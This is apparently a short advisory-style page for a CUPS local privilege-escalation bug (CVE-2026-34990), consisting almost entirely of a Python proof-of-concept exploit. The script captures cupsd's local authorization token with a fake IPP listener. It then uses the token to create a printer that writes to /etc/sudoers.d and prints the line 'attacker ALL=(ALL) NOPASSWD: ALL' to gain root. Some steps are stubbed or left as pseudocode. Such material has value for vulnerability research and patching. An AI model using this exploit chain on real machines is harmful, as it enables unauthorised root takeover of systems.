CVE-2026-34990 OpenPrinting CUPS 本地提权漏洞

import socket import time # Conceptual PoC for CVE-2026-34990 # This script demonstrates the logic of exploiting the CUPS vulnerability. # Note: This is a simplified representation. def capture_token(): # 1. Setup a listener on localhost to act as the malicious IPP service server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('127.0.0.1', 8000)) # Example port server.listen(1) print("[+] Malicious IPP service listening on port 8000...") # 2. Wait for cupsd to connect (triggered by attacker or system event) conn, addr = server.accept() print(f"[+] Connection received from {addr}") # 3. Receive headers and extract 'Authorization: Local ...' token data = conn.recv(4096).decode('utf-8') headers = data.split('\r\n') token = None for header in headers: if 'Authorization:' in header and 'Local' in header: token = header.split('Local ')[1] break conn.close() server.close() return token def exploit(token): if not token: print("[-] Failed to capture token.") return print(f"[+] Captured Token: {token}") # 4. Use the token to create a printer with a file:// URI pointing to a root-owned file # Target: /etc/sudoers.d/cve_2026_34990_pwn url = "http://127.0.0.1:631/admin/" headers = { "Authorization": f"Local {token}", "Content-Type": "application/ipp" } # IPP Payload to add printer (CUPS-Create-Local-Printer) # Setting printer-is-shared=true and device-uri=file:///etc/sudoers.d/cve_2026_34990_pwn payload = b"..." # Simplified IPP binary structure print("[+] Sending request to create malicious printer queue...") # requests.post(url, headers=headers, data=payload) # Pseudocode # 5. Print a job to the newly created queue # The job content would be: "attacker ALL=(ALL) NOPASSWD: ALL" print_content = "attacker ALL=(ALL) NOPASSWD: ALL" print("[+] Sending print job to overwrite root file...") # requests.post(print_url, data=print_content) # Pseudocode print("[+] Exploit complete. Check root access.") if __name__ == "__main__": # Trigger the attack chain # In a real scenario, the attacker might need to trigger cupsd discovery/add printer captured_token = capture_token() exploit(captured_token)